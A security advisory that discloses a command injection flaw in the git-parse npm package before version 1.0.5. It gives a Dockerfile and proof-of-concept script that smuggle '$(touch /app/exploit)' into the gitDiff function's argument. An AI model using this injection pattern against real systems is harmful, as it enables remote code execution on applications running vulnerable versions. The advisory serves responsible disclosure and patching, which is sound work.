Command Injection Vulnerability In Git-Parse

NODE NODEJS JAVASCRIPT NPM RCE

 Ron Masas Apr 29, 2021

Details Overview

Summary

Affected versions of `git-parse` npm package are vulnerable to command injection attack via the `gitDiff` function.

Product

NPM package `git-parse` prior to 1.0.5.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Steps To Reproduce

1. run the following docker file:

```
FROM node:10-slim

WORKDIR /app

RUN npm i git-parse

COPY poc.js /app/poc.js

ENTRYPOINT ls -l /app && node poc.js && ls -l /app
```

poc.js:

```
const { gitDiff } = require("git-parse");
gitDiff('/app', '$(touch /app/exploit)', '...');
```

2. Run `docker build . -t poc`
3. Run `docker run poc`

Expected Result:

A file named exploit will be created.

Remediation

This issue has been fixed in version 1.0.5.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).

Resources

1. git-parse npm package
2. Issue
3. Pull Request
4. Commit